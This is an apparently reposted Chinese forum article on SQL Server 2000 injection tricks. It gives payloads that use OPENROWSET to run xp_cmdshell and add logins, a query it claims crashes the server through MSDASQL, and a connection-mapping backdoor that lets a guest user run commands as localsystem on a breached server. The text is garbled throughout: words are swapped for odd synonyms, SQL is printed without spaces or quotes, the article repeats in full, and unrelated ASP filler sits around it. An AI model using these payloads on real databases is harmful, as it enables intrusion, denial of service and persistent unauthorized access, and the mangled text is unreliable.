|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
ASP脚本是采用明文(plaintext)方式来编写的。技能|sql注进1.关于Openrowset和Opendatasource
2.关于Msdasql两次哀求的成绩
3.可骇的后门
上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点侥幸的
成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。
1.关于Openrowset和Opendatasource
大概这个技能早有人已会了,就是使用openrowset发送当地命令。一般我们的用
法是(包含MSDN的列子)以下:
select*fromopenrowset(sqloledb,myserver;sa;,select*fromta
ble)
可见(即便从字面意义上看)openrowset只是作为一个快速的远程数据库会见,它必
须跟在select前面,也就是说必要前往一个recordset。
那末我们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!
select*fromopenrowset(sqloledb,server;sa;,setfmtonlyoff
execmaster.dbo.xp_cmdshelldirc:)
必需加上setfmtonlyoff用来屏障默许的只前往列信息的设置,如许xp_cmdshell
前往的output汇合就会提交给后面的select显现,假如接纳默许设置,会前往空汇合导
致select堕落,命令也就没法实行了。
那末假如我们要挪用sp_addlogin呢,他不会像xp_cmdshell前往任何汇合的,我们
就不克不及再依托fmtonly设置了,能够以下操纵:
select*fromopenrowset(sqloledb,server;sa;,selectOK!
execmaster.dbo.sp_addloginHectic)
如许,命令最少会前往selectOK!的汇合,你的呆板商会显现OK!,同时对方的数
据库内也会增添一个Hectic的账号,也就是说,我们使用selectOK!的前往汇合棍骗
了当地的select哀求,是命令可以一般实行,通理sp_addsrvrolemember和opendatasou
rce也能够云云操纵!至于这个办法真实的用途,人人渐渐想吧。
2.关于Msdasql两次哀求的成绩
不晓得人人有无试过用msdasql毗连远程数据库,固然这个api必需是sqlserver的
办理员才能够挪用,那末以下:
select*fromopenrowset(msdasql,driver={sqlserver};server=server;ad
dress=server,1433;uid=sa;pwd=;database=master;network=dbmssocn,s
elect*fromtable1select*fromtable2)
当table1和table2的字段数量不不异时,你会发明对方的sqlserver溃散了,连当地
毗连城市失利,而体系资本占用统统一般,用pskill杀逝世sqlserver历程后,假如不重
启呆板,sqlserver要末没法一般启动,要末经常呈现不法操纵,我也只是可巧找到这个
bug的,详细缘故原由我还没有摸透,并且很奇异的是这个征象只呈现在msdasql上,sqlole
db就没有这个成绩,看来成绩不是在于哀求汇合数量和前往汇合数量不婚配上,应当还
是msdasql自己的成绩,详细缘故原由,人人一同渐渐研讨吧。
3.可骇的后门
之前在网上看到有人说在sqlserver上留后门能够经由过程增加triger、jobs或改写sp
_addlogin和sp_addsrvrolemember做到,这些办法固然可行,可是很简单会被发明。不
晓得人人有无想过sqloledb的当地毗连映照。呵呵,好比你在对方的sqlserver上用s
qlserver的办理员账号实行以下的命令:
select*fromopenrowset(sqloledb,trusted_connection=yes;datasource=
Hectic,setfmtonlyoffexecmaster..xp_cmdshelldirc:)
如许在对方的sqlserver上创建了一个名为Hectic的当地毗连映照,只需sqlserve
r不重启,这个映照会一向存鄙人往,最少我如今还不晓得怎样发明他人安排的毗连映照
,好了,以上的命令运转事后,你会发明哪怕是sqlserver没有任何权限的guest用户,
运转以上这条命令也一样能经由过程!并且权限是localsystem!(默许安装)呵呵!这个
办法能够用来在以被进侵过取得办理员权限的sqlserver上留下一个后门了。以上的办法
在sqlserver2000sqlserver2000SP1上经由过程!
别的另有一个推测,不晓得人人有无注重过windows默许附带的两个dsn,一个是
localserver一个是msqi,这两个在创建的时分是当地办理员账号毗连sqlserver的,如
果对方的sqlserver是经由过程自界说的poweruser启动,那末sa的权限就和poweruser一
样,很难有所高文为,可是我们经由过程以下的命令:
select*fromopenrowset
(msdasql,dsn=locaserver;trusted_connection=yes,setfmtonlyoffexec
master..xp_cmdshelldirc:)
应当能够使用localserver的办理员账号毗连当地sqlserver然后再以这个账号的权
限实行当地命令了,这是后我想应当能冲破sa谁人poweruser权限了。如今的成绩是sq
loledb没法挪用dsn毗连,而msdasql非办理员不让挪用,以是我如今正在寻觅guest挪用
msdasql的办法。
假如有人晓得这个bug怎样冲破,或有新的设法,我们能够一同会商一下,这个发放
假如能乐成被guest使用,将会是一个很严峻的平安毛病。由于我们后面提到的任何sql
语句都能够提交给对方的asp往帮我们实行。
上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点侥幸的
成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。1.关于Openrowset和O
pendatasource大概这个技能早有人已会了,就是使用openrowset发送当地命令。通
常我们的用法是(包含MSDN的列子)以下...
上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点幸
运的成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。
1.关于Openrowset和Opendatasource
大概这个技能早有人已会了,就是使用openrowset发送当地命令。一般我们的用
法是(包含MSDN的列子)以下:
select*fromopenrowset(sqloledb,myserver;sa;,select*fromta
ble)
可见(即便从字面意义上看)openrowset只是作为一个快速的远程数据库会见,它必
须跟在select前面,也就是说必要前往一个recordset。
那末我们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!
select*fromopenrowset(sqloledb,server;sa;,setfmtonlyoff
execmaster.dbo.xp_cmdshelldirc:)
必需加上setfmtonlyoff用来屏障默许的只前往列信息的设置,如许xp_cmdshell
前往的output汇合就会提交给后面的select显现,假如接纳默许设置,会前往空汇合导
致select堕落,命令也就没法实行了。
那末假如我们要挪用sp_addlogin呢,他不会像xp_cmdshell前往任何汇合的,我们
就不克不及再依托fmtonly设置了,能够以下操纵:
select*fromopenrowset(sqloledb,server;sa;,selectOK!
execmaster.dbo.sp_addloginHectic)
如许,命令最少会前往selectOK!的汇合,你的呆板商会显现OK!,同时对方的数
据库内也会增添一个Hectic的账号,也就是说,我们使用selectOK!的前往汇合棍骗
了当地的select哀求,是命令可以一般实行,通理sp_addsrvrolemember和opendatasou
rce也能够云云操纵!至于这个办法真实的用途,人人渐渐想吧。
2.关于Msdasql两次哀求的成绩
不晓得人人有无试过用msdasql毗连远程数据库,固然这个api必需是sqlserver的
办理员才能够挪用,那末以下:
select*fromopenrowset(msdasql,driver={sqlserver};server=server;ad
dress=server,1433;uid=sa;pwd=;database=master;network=dbmssocn,s
elect*fromtable1select*fromtable2)
当table1和table2的字段数量不不异时,你会发明对方的sqlserver溃散了,连当地
毗连城市失利,而体系资本占用统统一般,用pskill杀逝世sqlserver历程后,假如不重
启呆板,sqlserver要末没法一般启动,要末经常呈现不法操纵,我也只是可巧找到这个
bug的,详细缘故原由我还没有摸透,并且很奇异的是这个征象只呈现在msdasql上,sqlole
db就没有这个成绩,看来成绩不是在于哀求汇合数量和前往汇合数量不婚配上,应当还
是msdasql自己的成绩,详细缘故原由,人人一同渐渐研讨吧。
3.可骇的后门
之前在网上看到有人说在sqlserver上留后门能够经由过程增加triger、jobs或改写sp
_addlogin和sp_addsrvrolemember做到,这些办法固然可行,可是很简单会被发明。不
晓得人人有无想过sqloledb的当地毗连映照。呵呵,好比你在对方的sqlserver上用s
qlserver的办理员账号实行以下的命令:
select*fromopenrowset(sqloledb,trusted_connection=yes;datasource=
Hectic,setfmtonlyoffexecmaster..xp_cmdshelldirc:)
如许在对方的sqlserver上创建了一个名为Hectic的当地毗连映照,只需sqlserve
r不重启,这个映照会一向存鄙人往,最少我如今还不晓得怎样发明他人安排的毗连映照
,好了,以上的命令运转事后,你会发明哪怕是sqlserver没有任何权限的guest用户,
运转以上这条命令也一样能经由过程!并且权限是localsystem!(默许安装)呵呵!这个
办法能够用来在以被进侵过取得办理员权限的sqlserver上留下一个后门了。以上的办法
在sqlserver2000sqlserver2000SP1上经由过程!
别的另有一个推测,不晓得人人有无注重过windows默许附带的两个dsn,一个是
localserver一个是msqi,这两个在创建的时分是当地办理员账号毗连sqlserver的,如
果对方的sqlserver是经由过程自界说的poweruser启动,那末sa的权限就和poweruser一
样,很难有所高文为,可是我们经由过程以下的命令:
select*fromopenrowset
(msdasql,dsn=locaserver;trusted_connection=yes,setfmtonlyoffexec
master..xp_cmdshelldirc:)
应当能够使用localserver的办理员账号毗连当地sqlserver然后再以这个账号的权
限实行当地命令了,这是后我想应当能冲破sa谁人poweruser权限了。如今的成绩是sq
loledb没法挪用dsn毗连,而msdasql非办理员不让挪用,以是我如今正在寻觅guest挪用
msdasql的办法。
假如有人晓得这个bug怎样冲破,或有新的设法,我们能够一同会商一下,这个发放
假如能乐成被guest使用,将会是一个很严峻的平安毛病。由于我们后面提到的任何sql
语句都能够提交给对方的asp往帮我们实行。
强大的可扩展性。ASP具有强大的扩展性,可以实现与多种网络、硬件设备的连接:通过专用的通讯线路远程接入企业;通过远程拨号服务器为远程拨号客户提供服务;通过WAP为移动电话互联网客户服务。 |
|